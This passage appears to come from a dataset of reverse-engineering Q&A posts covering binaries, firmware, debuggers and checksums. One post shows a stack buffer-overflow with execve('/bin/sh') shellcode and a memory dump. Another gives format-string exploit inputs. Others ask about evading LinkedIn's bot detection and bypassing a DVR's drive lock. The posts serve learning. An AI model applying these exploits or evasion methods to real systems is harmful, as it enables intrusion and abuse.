+ +9a is the opcode for a far call, but they all have the same argument! Yet, Semblance has determined not only which system modules its calling into, but possibly which function, but I haven't figured out the significance of the number yet. I should point out, that KERNEL and USER are both modules present in the exe's module reference table. All far calls in the binary have been linked to one of those modules in the reference table. + +So, How is semblance doing this? All the calls seem identical. I'd just like to figure out what functions are being called, and I can begin to figure out how to patch around the error I'm facing. + +If this is something that's impossible to do from linux, fine, but I'd like to try it this way first. I'm a beginner with assembly and reverse engineering so I'm viewing this as a learning opportunity so learning the sorts of details necessary to resolve these far calls might be useful. +" +"['encryption', 'deobfuscation', 'hexadecimal']"," Title: Need help identifying a -possibly- encrypted stringBody: I'm having some trouble building an app that gets data from a database to keep a log of files added to a website. + +Most URLs are generated from a file ID and a time stamp, some of those URLs are missing in the database but they're quite easy to regenerate. There's another type of generated URL that includes a string that I can't figure out. I'd like to know if it is possible to generate them too. + +These URLs look quite like this: + +
http://www.mysite.com/files/a9780ed25285890789147440840/file.ext
+http://www.mysite.com/files/a9789f9b5285890789147441956/file.ext
+http://www.mysite.com/files/8b9b5d1f5285890789167885136/file.ext
+http://www.mysite.com/files/a97906135285890789147442083/file.ext
+http://www.mysite.com/files/a9790e735285890789147442272/file.ext
+http://www.mysite.com/files/a9791a905285890789147442521/file.ext
+http://www.mysite.com/files/8b9bedfd5285890789167886250/file.ext
+http://www.mysite.com/files/a97aaf595285890789147445176/file.ext
+http://www.mysite.com/files/a97ab7fc5285890789147445386/file.ext
+http://www.mysite.com/files/8b9d17895285890789167888638/file.ext
+http://www.mysite.com/files/a97ac03a5285890789147445564/file.ext
+http://www.mysite.com/files/a97acd635285890789147445897/file.ext
+
+ +As you can see, it looks like hexadecimal for the first 8 characters, the middle section looks very similar, but I can't recognize a pattern here. I would like to point out that the dates are stored as epoch numerals, though the easy links have readable dates. + +I'd appreciate any kind of information that could help me start figuring out this pattern. + +Thanks! +" +"['debuggers', 'anti-debugging']"," Title: Advanced Anti-Debugging TechniquesBody: I was wondering what are some advanced AntiDebugging techniques that more advanced than the basic ones like IsDebuggerPresent and CheckRemoteDebuggerPresent? +" +['android']," Title: Firestick get application binaryBody: I would like to reverse engineer and ultimately patch an application on my Amazon Firestick. To doo this, I want to analyze the app executable. + +I believe third-party apk's are stored in the /data directory but this directory is not readable on an unrooted device. I've also considered dumping the process memory while the app is running, but I believe this would also require rooting the device. I would prefer to not root the device if possible but I understand that might be necessary. + +Does anyone know of a way I can get the application binary without rooting the device? +" +"['windows', 'ollydbg', 'x64dbg']"," Title: Finding out what calls win32u.dll functionsBody: There's a button which, when clicked, writes some data to the clipboard. +I'm trying to call the function this button executes using DLL Injection. +I managed to find the function in win32u.dll which accesses the clipboard, and I was able to set a breakpoint there which gets triggered. Obviously, I don't want to call this function directly, but the function that calls it (from the origin program). How do I figure this address out? + +I can't use the buttons handle since the button doesn't show up in any UI spy tools and as it is a part of a context menu, it disappears as soon as the focus is lost. + +I'm using x64dbg as a debugger, but if you know a solution in OllyDbg, that will be fine since I know how to use both. +" +"['debugging', 'windbg']"," Title: Predicting Memory locations of arguments within a functionBody: I'm trying to write a script that would help display the memory contents of the arguments passed within a function. For example, in the function below, the first argument starts at the EAX register. Printing the contents of EAX gives us the value of the first argument. How can we print all the following arguments? +
+BOOLAPI FtpCommandA( +HINTERNET hConnect, +BOOL fExpectResponse, +DWORD dwFlags, +LPCSTR lpszCommand, +DWORD_PTR dwContext, +HINTERNET *phFtpCommand +); +
+Thanks! +" +"['c++', 'dll-injection']"," Title: DLL Injection Call Address In TargetBody: I have an address that is located in a dll loaded by my target process. I would like to call this address using dll injection. + +For now my dll looks like this: + +
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
+{
+    switch (ul_reason_for_call)
+    {
+        case DLL_PROCESS_ATTACH:
+        {
+            MessageBox(NULL, L""Injection Successful"", L""TEST:"", MB_OK); 
+            //Here I'd like to call the address
+
+            break;
+        }
+        case DLL_THREAD_ATTACH:
+        case DLL_THREAD_DETACH:
+        case DLL_PROCESS_DETACH:
+        break;
+    }
+    return TRUE;
+}
+
+ +From what I've learned online, there are some problems: + + + +I'm using Cheat Engine to inject the dll and x64dbg as a debugger. +Since I'm a beginner, a bit of code would be very much appreciated. +" +"['linux', 'buffer-overflow', 'stack', 'x86-64']"," Title: Bufferoverflow StackBody: I want to do a buffer overflow exploit in the stack. For this i read in data via the ""gets""-function. + +
void ExploitMe()
+{
+  char buffer[256];
+  gets(buffer);
+}
+
+ +I compile this file with + +
gcc test.c -o vuln -z execstack -fno-stack-protector
+
+ +I want to spawn a shell with my bufferoverflow. For this i implemented a nop-slide and put my opcodes to spawn this shell at the end of the nop-slide. After this, I override my return address to an address in my slide. + Here is my memory: + +0x7fffffffde40: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffde50: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffde60: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffde70: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffde80: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffde90: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdea0: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdeb0: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdec0: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffded0: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdee0: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdef0: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdf00: 0x90909090 0x90909090 0x90909090 0x90909090 +0x7fffffffdf10: 0x90909090 0x2fbb4890 0x6e69622f 0x4868732f +0x7fffffffdf20: 0x5308ebc1 0x50e78948 0xe6894857 0x050f3bb0 +0x7fffffffdf30: 0x42424242 0x42424242 0x42424242 0x42424242 +0x7fffffffdf40: 0x42424242 0x42424242 0xffffdea0 0x00007fff + +My return address is 0x00007fffffffdea0, which is an addresss in the middle of the nop-slide. + +(I got the opcodes from the following assembler code:
+0000000000000000 <__start>: + 0: 48 bb 2f 2f 62 69 6e movabs rbx,0x68732f6e69622f2f + 7: 2f 73 68 + a: 48 c1 eb 08 shr rbx,0x8 + e: 53 push rbx + f: 48 89 e7 mov rdi,rsp + 12: 50 push rax + 13: 57 push rdi + 14: 48 89 e6 mov rsi,rsp + 17: b0 3b mov al,0x3b + 19: 0f 05 syscall +) + +
+When i assemble, link and execute the assembler code, i get a shell as wanted. + +
+When I step each instruction with gdb, a error occurs after the execution of the code to spawn a shell, but no shell is spawned. + +When I execute the vulnerable program with the input like seen above outside of gdb, i get a segmentation fault. + +Has anybody an idea, why i can't spawn a shell inside or outside of gdb? + +I used the following examples: + +Liveoverflow: youtube + +Arc Network Security: youtube + +I use Ubuntu 16.04 and X86-64. +" +"['ida', 'c++', 'android', 'game-hacking', 'lua']"," Title: Decrypting Lua FilesBody: I am trying to decrypt a lua file which has been encrypting using a key. Some background to the LUA file. Its from an android Game i decompiled the APK and found that all the lua files are encrypted. + +The Game is made in an engine called Coco2D which allows developers to encrypt their files using a key. After doing some research i found that you can use IDA to look into the Binaries of the SO File and Find the encryption key in a function called ApplicationDidFinishLaunching. I tried that but i'm not really sure what im looking for in that function. + +IDA Text from ApplicationDidFinish Function: https://pastebin.com/9h69PADF + +Near the top of the function you can see these set of variables + +
.text:00404100 var_90          = -0x90    
+.text:00404100 var_84          = -0x84
+.text:00404100 var_80          = -0x80
+.text:00404100 var_7C          = -0x7C
+.text:00404100 var_74          = -0x74
+.text:00404100 var_70          = -0x70
+.text:00404100 var_6C          = -0x6C
+.text:00404100 var_68          = -0x68
+.text:00404100 var_64          = -0x64
+.text:00404100 var_60          = -0x60
+.text:00404100 var_5C          = -0x5C
+.text:00404100 var_3C          = -0x3C
+
+ +Im not sure what the above variables represent but i dont think they represent the key since the key is meant to be 128bit string encoded as Hex. + +Example of Encryption key: https://static.packt-cdn.com/products/9781783284757/graphics/B0561_11_01.jpg + +After More Digging i found this section in the function +https://pastebin.com/N44prr2N + +This section includes 32 hex Digits with a break of DCB 5 and DCB 4 within. I think that this is most likely the key but im unsure on how i would assemble what i have in the pastebin to a 128Bit key. I also don't know what DCB is (goin g to do research on it in a sec) and i don't know why there are breaks of 5 and 4 within the section. + +I went online and found a Hex to Ascii Converter and found that the hex digits do convert to Ascii. 7C converts to | and 78 converts to X just like the comments suggest but the problem i have now is that hex values such as 0xC dont convert to an Ascii value. + +Link To the APK: https://apkpure.com/taptap-heroes/com.westbund.heros.en +Link To Encrypted Lua File + SO: https://www.mediafire.com/file/5ypqt5tk0scjwb5/LuaEncrypted.rar/file + +Edit: after looking at the pseudo for the function i found no sign of a XTEA key being used (i may be wrong). Although i did find that RSA endcoding was used for Lua files. I still don't know what or how to decode it if its using RSA. + +Link To RSA: https://pastebin.com/quNJNzYd +" +"['ida', 'assembly']"," Title: How to remove line? [Help with CTF]Body: + +Hi! +So, the program print me a Flag length is 32. As I understand call strlen convert my flag to string of length. So, I want to remove that part call strlen or somehow avoid it (maybe I'm not right at all, because I really bad in assembly and RE, it's my first CTF and what are your options) +" +"['breakpoint', 'com']"," Title: Breakpoints in InProc COM object .dll?Body: I have a very simple exe that just uses CoCreateInstance to load a COM dll. This dll contains 1 function. I know where it is, I know what it's called etc. I know where in the exe it calls it. But I am unable to set a breakpoint that triggers using either IDA 7, or OllyDbg 1.1 or 2.0. Anyone have any tips for getting a functioning breakpoint inside a COM dll? +" +"['linux', 'c', 'exploit']"," Title: Unable to exploit format string vulenrability on Ubuntu 18.04.2 LTSBody: I am studying from ""Hacking: The Art of Exploitation"" and in program fmt_vuln.c format string is exploited. I am getting Segmentation Fault error. + +Checking position of AAAA on stack: + +
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
+The right way to print user-controlled input:
+AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
+The wrong way to print user-controlled input:
+AAAA55756260.f7dd18c0.f7af4154.00000000.f7b523a0.ffffdfe8.ffffdb30.41414141
+[*] test_val @ 0x555555755010 = -72 0xffffffb8
+
+ +Witing to test_value address + +
$ ./fmt_vuln $(printf ""\x10\x50\x75\x55"")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
+The right way to print user-controlled input:
+PuU%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
+The wrong way to print user-controlled input:
+Segmentation fault (core dumped)
+
+ +As suggested in this answer I have disabled ASLR and compiled without stack protection. +" +"['android', 'java', 'apk']"," Title: DEX file referenced type is not defined in fileBody: I am analyzing a dex file and to ease with reverse engineering, I converted it a jar so it could be decompiled. In the file android/support/v17/leanback/media/MediaControllerGlue.class, the following import appears: + +import android.support.v4.media.session.MediaControllerCompat; + +However, this class is not defined. In fact, there is no android/support/v4/media package in the file. + +To confirm, this, I listed the referenced type in the type_ids section of the dex file, and sure enough, the following type is present: android/support/v4/media/MediaControllerCompat. However, when I then iterate over all entries in the class_defs section, this class is nowhere to be found. + +I am new to Android (this is actually an Amazon Firestick APK) development/reverse engineering so I'm not sure how this is possible. Is there some way of defining classes in a separate library that would exist outside of the APK? +" +"['script', 'proxy']"," Title: Trying to understand linkedin's anti-robot systemBody: I noticed something very odd about Linkedin anti-bot behavior and I am not being able to fully understand it. Basically, there are multiple people who set their profiles to public, allowing search engines such as Google to index them. If you initiate an anonymous browsing session and search for a profile, you will get a page that looks like this: + +(example for https://www.linkedin.com/in/parag-agrawal-5a14742a) + +If you try repeatedly, however, or if you test an automation software such as selenium for accessing these profiles, you will after a while be redirected to an authwall page, and no more public profiles will be visible to you. + +I have already tried to hide all kinds of fingerprintable data, such as IP, user agent, screen resolution (for canvas fingerprinting), but after a few requests, my access limit drops to one single public profile. I guess they make an analysis of the request pattern within their servers, making my section identifiable. + +I would like to know which features are observed to determine whether a visitor is human or not, and how could I simulate human behavior. +" +"['linux', 'radare2', 'debuggers', 'java', 'disassemblers']"," Title: How to do debug a running java process in linux?Body: TLDR I want to do live debugging of a java program on a linux machine, and don't how/what debugger to attach to the JVM to get this done. + +I expect that this is a well-solved problem, but I lack the terminology to find a solution after several hours of searching: + +I have a java program (stored in a jar file) that I'd like to observe (reverse engineer?) it while it runs. I see a lot of decompilation support for java - this isn't what I'm interested in at all, so please refrain from explaining how to do this. A major problem I'm having in my search is running into these kinds of answer. + +Ideally, I'd: + +
    +
  1. Start the program and find the PID.
  2. +
  3. Attach a debugger to the JVM somehow (this is what I don't know how to do, and lack the language to search for, apparently)
  4. +
  5. Use the debugger to set breakpoints, read/write arbitrary memory of the JVM, see the JVM's registers and stack.
  6. +
  7. Use a simple, open-source command-line tool to do this, like Radare2 or GDB.
  8. +
+ +I expect to be reading java bytecode (the instruction set for the JVM), not java source, while I do this. + +I am used to using Radare2 and GDB for native code (crackmes, CTF stuff, microcorruption). I also see that they both technically support Java, but I'm having a hard time figuring out how to do this, exactly. + +I need help with 2 things: what software to use and how to attach the program to the process. Bonus points if I can use radare! + +To be clear, the Java in question is running on a linux PC, not on an Android phone or anything like that. + +I also read about JDB, but it seems like the code needs to be compiled with debug flags, and this is not possible for my situation -- it also doesn't seem like what I'm looking for. +" +"['ida', 'ghidra', 'flirt-signatures']"," Title: How does IDA apply its FLIRT signatures and how are they licenced?Body: I'm considering writing a Ghidra extension that would apply FLIRT signatures, but I'm not sure whether the license would support that, or whether FLIRT is dependent on inputs from IDA's architecture and analysis engine. + +Does anyone know whether is technically and legally possible? +" +"['firmware', 'unpacking']"," Title: unpacking Download.img firmware for alcatel mw40Body: Hello i'm trying to unpack file Download.img from alcatel mw40 (based on qualcomm 9x07) firmware but it seems i can't do it with 7zip or mount the img file . someone already extracted the file which will give partition images like this : + +
appsboot_fastboot.mbn
+appsboot.mbn
+b.vhd
+config.xml
+custom_info.xml
+efs.mbn
+ENPRG9x07.mbn
+jrdresource.ubi
+mdm9607-boot.img
+mdm9607-sysfs.ubi
+NON-HLOS.ubi
+NPRG9x07.mbn
+partition.mbn
+rpm.mbn
+sbl1.mbn
+tz.mbn
+
+ +under linux the format of the file is : + +
file Download.img 
+Download.img: dBase III DBT, version number 0, next free block index 65545, 1st item ""D\343\006""
+
+ +anyone can show how to unpack this file to get the list of mentioned files above +thanks for help , i'm trying to learn how. +file link Download.img +" +"['assembly', 'gdb']"," Title: How to change operator by GDB?Body: How can I change je to jne via GDB tooL? + + +" +"['debugging', 'firmware', 'qemu', 'emulation', 'firmware-analysis']"," Title: How can I emulate Huawei routers HG5xx firmware?Body: i want to pentest some HG routers in a way that i can try every thing without worrying if it would damage the router or not .... and a better view of debugging the actions . +" +"['ida', 'arm', 'qemu']"," Title: Debugging arbitrary ARM binary image using IDA and QEMUBody: i'm new to this and still learning a lot. Now i have managed to download the binary image from an Flash memory out of a unit having an OMAP5912 SoC. The SoC has an ARM9 family CPU core running little endian ARM code. +For now i could disassemble it using IDA Pro, but some things need to be checked at runtime. +Therefore i was looking for a way to execute instructions step-by-step, watching the registers, set breakpoints and such. +My binary has no symbols inside. +Is is possible to let QEMU emulate the CPU using ""qemu-sytem-arm"" and connect this to IDA Pro debugger? +If so, please help me in that, because i'm new to debugging. +" +"['unpacking', 'patch-reversing']"," Title: How to execute an import exe/dll from memoryBody: i dumped a exe/dll file from the memory with OllyDumpEx, now i understand i need to fix the address or something like this to use the dll or to run the exe, so how can i do that? +" +"['ida', 'debuggers', 'windbg', 'kernel']"," Title: Remote debugging using IDA, connecting to windbg server (kernel mode)Body: I do kernel debugging by using a virtual com port. One machine (host) is debugging the other machine. I have a remote machine that has IDA, and I wish to connect to the debugging session in the host machine. + +The setup is as here + +https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/remote-debugging-using-kd + +I also followed the guide here. + +So I setup a server using .server tcp:port=5004 (on a kernel kd session). + +When I connect remotely by using cdb -remote tcp:Port=5004,Server=HOST +it works. But when I try to connect using IDA, it doesn't work. + +I have IDA 7.0 x64. I tried to use windbg(x64) debugger with connection string tcp:Port=5004,Server=HOST and parameter -remote and many other variations. It failed to launch in all cases. + +It usually types: + +
Windbg: using debugging tools from 'C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\'
+Connecting in kernel mode with 'tcp:port=5004,server=HOST'
+Connect failed: The parameter is incorrect.
+
+ +What did I do wrong? + +BTW, the version of the debugging tools of IDA and in the host machine is the same. +" +"['firmware', 'embedded', 'firmware-analysis']"," Title: ECU tune and reverse engineeringBody: I'm new to the ECU (or chip) tune concept, and I try to understand what is going on there. + +I understand the concept and the goal, but I'm having difficulties to understand what is actually going on there. + +From what I understand the process for tuning is: + + + +However, I can't understand what is the format of the downloaded ECU - is it just a regular firmware? I found many websites like this which offer to download ECU files, but I couldn't recognize the format - it doesn't look to me like any firmware, and I couldn't identify any CPU architecture on all the files I tried. In addition, the size of the files is almost always 512KB, 1024KB or 2048KB which is not very typical to firmware. + +When downloading files from those sites I see that many of them referenced as ori (original?), some of them as map and some of them as bdm. (Needless to say, there is not much information about the formats in the sites..). What do these types mean? + +If I want to reverse engineer the firmware of the ECU - are those the files that I should look at? +" +"['pe', 'binary-format']"," Title: how can I know if PE file has appended data or not?Body: while doing this, I dont know the whole file size (pe size + appended data size) +my PE file is embeded in othe pe file, so I dont know if it has appended data or not and also dont know its total size. +" +['firmware']," Title: How to extract firmware from a western digital hard drive with custom firmwareBody: Hi all i got a western digital hard drive from a DVR which contains custom firmware so you will not be able to install any hard drive you want on the DVR device. (digital video recorder) something like what the xbox has by using a security sector i think. + +How can i extract this firmware and upload it on another drive ? or change the other drives hardwired serial to match the original custom drive ? + +thanks + +---A NOTE-- +i want to use my own drives not the ones the company sells for x3 times as much which are the same drives (same model and brand) but they got a custom firmware or some kind of protection. If i install another hard drive a generic one the DVR refuses to accept it/see it, only the company's custom firmware drives are recognized even if they are the same brand and model. I need to see whats on the firmware and copy it and flash another identical (or not) drive with it so DVR's firmware can see it as an ""authorized"" drive. Cloning the custom disk to another wont work either. +" +['dll']," Title: DLL obfuscator - what kind of obfuscator is this?Body: when I am looking for packet editor, I found open project on http://www.packeteditor.com/ +when I learn how it works, I see that the application is injecting a dll named WSPE.dat, when I load this WSPE.dat to ida pro, I found it was a dll that has been obfuscated. +and it was something like this : + + +what is that SteveW section? I also see a lot of this obfuscator on other dll, but protectionId scan result it wasn't being packed +with this note : + +
Section [0x0] 'SteveW  ' has a higher physical size than virtual size..
+
+ +and also this : + +
Warning : Import Table is bad !!!
+
+ +here is the dll link : +WSPE.dat +" +"['unpacking', 'binary-format']"," Title: convert NPRG9x07.mbn to NPRG9x07.binBody: Hello i have qualcomm based bootloader for mdm9x07 platform i want to convert to bin format but i did not find any script that does the conversion +here are the mbn files : NPRG9x07.mbn2 + +ENPRG9x07.mbn +" +"['ida', 'idapython']"," Title: MakeArray from stack variables using idapythonBody: I want to MakeArray() to stack variables which can be done with IDA like so: + + + +
+ MakeArray() Create an array. + + ea - linear address + + nitems - size of array in items + + This function will create an array of the items with the same type as + + the type of the item at 'ea'. If the byte at 'ea' is undefined, then + + this function will create an array of bytes. How can I do that? + Thanks. +
+ +MakeArray() works only on linear address and not on stack variables as shown above. + +How can it be done? +Thanks. +" +['assembly']," Title: How to use the book ""Reverse Engineering for Beginners"" by Yurichev?Body: I just finished skimming the book Art of Assembly by Randall Hyde. + +So now to get my feet wet in assembly/reverse engineering reading, I started the book Reverse Engineering for Beginners. The thing is when I write C samples and produce assembly code as author stated the assembly i get in GCC differs from what the one author provides. (I use gcc -S -O3 for the ones that are said to be optimized in book). + +What can I do to get results like book or if getting results like author's is not the point how can I get the most out of this lovely book? +" +['android']," Title: Where is Android binary XML format documented?Body: This format is always trouble for reverse engeneering. When there are question about binary XML, the usual answer is ""use apktool"" (or something similar). + +However, no tool is perfect; actually all suggested tools are more or less buggy, and I don't know tool that can successfully decompile and recompile any APK from Google Play. + +Because such tools are usually open source ones, they are rarely updated and don't fix bugs for years (see Issues on github for any such tool and see how quickly issues are closed). + +My question is: so, where is this format documented? If apktool and similar tools exists, it mean that they found format description somewhere and tried to implement its parser and writer. +" +"['.net', 'binary-format']"," Title: .NET manifest resource formatBody: Currently I'm writing a parser for .NET files and stuck on manifest resources. + +My main resources: + + + +For resource format I have found this project made in 2005, all samples have similar structure as described in that project, but I believe it was based on version=1 resources, but now all samples have version=2 resources, structure somewhat similar but different. + +I would like to ask for references into resource format or Windows header files with required C/C++ structures to be used or anything else that migth be useful. +" +['crc']," Title: Checksum CalculationBody: Can anyone manage to work out how the checksum is calculated in the following data? +Have tried reverse engineering crc and xor and anything else I can think of. There is a definite pattern there, but I cant work it out. + +
C8 00 02
+DD 01 02
+53 02 02
+CC 03 02
+BF 04 02
+65 05 02
+57 06 02
+FE 07 02
+35 08 02
+44 09 02
+28 10 02
+3D 11 02
+B3 12 02
+2C 13 02
+5F 14 02
+85 15 02
+B7 16 02
+1E 17 02
+D5 18 02
+A4 19 02
+27 20 02
+32 21 02
+BC 22 02
+23 23 02
+50 24 02
+8A 25 02
+B8 26 02
+11 27 02
+DA 28 02
+AB 29 02
+39 40 02
+2C 41 02
+A2 42 02
+3D 43 02
+4E 44 02
+94 45 02
+A6 46 02
+0F 47 02
+B5 49 02
+D9 50 02
+CC 51 02
+42 52 02
+DD 53 02
+AE 54 02
+74 55 02
+46 56 02
+EF 57 02
+24 58 02
+55 59 02
+D6 60 02
+C3 61 02
+4D 62 02
+D2 63 02
+A1 64 02
+7B 65 02
+49 66 02
+E0 67 02
+2B 68 02
+5A 69 02
+05 80 02
+05 80 02
+10 81 02
+9E 82 02
+01 83 02
+72 84 02
+A8 85 02
+9A 86 02
+33 87 02
+F8 88 02
+89 89 02
+E5 90 02
+F0 91 02
+7E 92 02
+E1 93 02
+92 94 02
+48 95 02
+7A 96 02
+D3 97 02
+18 98 02
+69 99 02
+3E 0A 02
+AC 0B 02
+17 0C 02
+BE 0D 02
+AB 0E 02
+DF 0F 02
+DE 1A 02
+4C 1B 02
+F7 1C 02
+5E 1D 02
+4B 1E 02
+3F 1F 02
+3F 1F 02
+D1 2A 02
+43 2B 02
+F8 2C 02
+51 2D 02
+44 2E 02
+30 2F 02
+CF 4A 02
+5D 4B 02
+E6 4C 02
+4F 4D 02
+5A 4E 02
+2E 4F 02
+2F 5A 02
+BD 5B 02
+06 5C 02
+AF 5D 02
+20 6A 02
+B2 6B 02
+09 6C 02
+A0 6D 02
+B5 6E 02
+C1 6F 02
+F3 8A 02
+61 8B 02
+DA 8C 02
+73 8D 02
+66 8E 02
+12 8F 02
+12 8F 02
+13 9A 02
+81 9B 02
+3A 9C 02
+93 9D 02
+86 9E 02
+F2 9F 02
+EA A0 02
+FF A1 02
+71 A2 02
+EE A3 02
+9D A4 02
+47 A5 02
+75 A6 02
+DC A7 02
+17 A8 02
+66 A9 02
+1C AA 02
+8E AB 02
+35 AC 02
+9C AD 02
+89 AE 02
+FD AF 02
+
+ +The first item on each line is the checksum. +Much appreciated!!! + +I have looked further into the left and right nibble of the second byte (the last byte is unchanged at 0x02). There seem to be repeated patterns depending on the values which I highlighted in Excel: + + +The colours highlight where there is repeating values. +Not sure if this helps! + +Further testing I am pretty sure this isn't CRC based. +Starting with the first value of C8, as the first nibble changes from 00 to 10, the checksum goes to 28, which is the value XORd with E0. This holds up between 01 and 11, 02 and 12, 03 and 13... it is the previous value XORd with E0. +So: + +
C8 00 02    XOR with E0
+28 10 02
+
+DD 01 02    XOR with E0
+3D 11 02
+
+53 02 02    XOR with E0
+B3 12 02
+
+However,
+28 10 02    XOR with 0F
+37 20 02
+
+3D 11 02    XOR with 0F
+32 21 02
+
+B3 12 02    XOR with 0F
+BC 22 02
+
+And:
+27 20 02    XOR with 1E 
+39 40 02
+
+32 21 02    XOR with 1E 
+2C 41 02
+
+BC 22 02    XOR with 1E 
+A2 22 02
+
+ +Thanks again. +" +"['linux', 'flash']"," Title: how to flash image.bin with uboot using serial or tftpBody: Hello I have a 4G LTE router which is blocked. and I have already dumped the partitions before via telnet from another device of the same model. + +
    U-Boot 2010.09 (Sep 06 2016 - 10:08:39)GCT GDM7243
+
+
+
+Build Info:
+
+  date: 2016/09/06-10:08:44
+
+  user: root@ubuntu-will
+
+  svnr: 
+
+  src: /home/will/DEVELOPMENT/LTE_Router/B5328_FDD/SDK/work/uboot
+
+  ver: 0.46e
+
+
+
+DRAM:  128 MiB (wbd-p2)
+
+NAND:  Built-in ECC Nand
+maf_id : 0x00000098, dev_id : 0x000000a1
+Pagesize : 2Kbytes
+Address cycle : 4
+128 MiB
+Bad block table found at page 65472, version 0x01
+Bad block table found at page 65408, version 0x01
+nand_read_bbt: Bad block at 0x000006000000
+In:    serial
+Out:   serial
+Err:   serial
+Net:    001cc910 Realtek8211  PHYCR1: 0000211c  Rx delay: 0x00802300 
+    PHYCR2:0x842  mii0
+Hit ENTER key to stop autoboot:  5  4  3  2  1  0 
+GPIO RESET KEY OFF
+00420000
+---------------------
+hdr chksum  : 0xffffffff
+magic       : 0xffffffff
+timstamp    : 0xffffffff
+data chksum : 0xffffffff
+data size   : 0xffffffff
+---------------------
+image header magic is invalid
+00440000
+---------------------
+hdr chksum  : 0xa6160741
+magic       : 0xcafebabe
+timstamp    : 0x00000003
+data chksum : 0xf314f304
+data size   : 0x0001ffdc
+---------------------
+cmnnv current block is : 1
+pesifwcheck=1
+Erasing Nand...
+
+Erasing at 0x80000 --  25% complete.
+Erasing at 0xa0000 --  50% complete.
+Erasing at 0xc0000 --  75% complete.
+Erasing at 0xe0000 -- 100% complete.
+Writing to Nand... done
+
+boot from part_idx: 2
+do_check_partition() type:linux2, ---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+no valid header(0)
+There are no valid headers
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+no valid header(1)
+There are no valid headers
+Erasing Nand...
+
+Erasing at 0x80000 --  25% complete.
+Erasing at 0xa0000 --  50% complete.
+Erasing at 0xc0000 --  75% complete.
+Erasing at 0xe0000 -- 100% complete.
+Writing to Nand... done
+
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+no valid header(0)
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+no valid header(2)
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+---------------------
+hdr chksum  : 0x00000000
+magic       : 0x00000000
+timstamp    : 0x00000000
+data chksum : 0x00000000
+data size   : 0x00000000
+---------------------
+  ## Booting kernel from Legacy Image at d05fffc0 ...
+   Image Name:   Linux-3.10.0-uc0
+   Image Type:   ARM Linux Kernel Image (uncompressed)
+   Data Size:    2317840 Bytes = 2.2 MiB
+   Load Address: d0600000
+   Entry Point:  d0600000
+   Verifying Checksum ... Bad Data CRC
+ERROR: can't get kernel image!
+
+ +If I try to boot from TFTP the image loads just fine and everything is working. + +I flashed the linux.bin image to the respective partition but I don't know what I need to do to be able to get the device working again. Maybe flashing from U-Boot will get it to work . + +Here's the boot process information from TFTP: + +
    Using mii0 device
+TFTP from server 192.168.0.10; our IP address is 192.168.0.1
+Filename 'linux.bin'.
+Load address: 0xd05fffc0
+Loading: *##T ###############################################################
+     #################################################################
+     #################################################################
+     #################################################################
+     ##########################
+done
+Bytes transferred = 4194304 (400000 hex)
+Automatic boot of image at addr 0xD05FFFC0 ...
+## Booting kernel from Legacy Image at d05fffc0 ...
+   Image Name:   Linux-3.10.0-uc0
+   Image Type:   ARM Linux Kernel Image (uncompressed)
+   Data Size:    2317840 Bytes = 2.2 MiB
+   Load Address: d0600000
+   Entry Point:  d0600000
+   Verifying Checksum ... OK
+   Loading Kernel Image ... OK
+OK
+
+Starting kernel ...
+
+Uncompressing Linux... done, booting the kernel.
+gipc-protocol address: d4880010
+ipc config: 00000004
+  router-device
+s-ch_enabled: 0x10010001
+s-ch_enabled: 0x10010001
+s-ch_enabled: 0x10010001
+ipc magic=0x40540103(12)
+s-ch_enabled: 0x10010003
+
+ +Here's the partition layout: + +
device nand0 <gdm7243>, # parts = 17
+ #: name        size        offset      mask_flags
+ 0: u-boot              0x00080000  0x00000000  0
+ 1: env                 0x00080000  0x00080000  0
+ 2: rev0                0x00100000  0x00100000  0
+ 3: ltenv               0x00100000  0x00200000  0
+ 4: wmnv                0x00100000  0x00300000  0
+ 5: cmnnv               0x00100000  0x00400000  0
+ 6: cmnnv2              0x00100000  0x00500000  0
+ 7: rev1                0x00400000  0x00600000  0
+ 8: linux               0x00400000  0x00a00000  0
+ 9: linux2              0x00400000  0x00e00000  0
+10: rootfs              0x01e00000  0x01200000  0
+11: rootfs2             0x01e00000  0x03000000  0
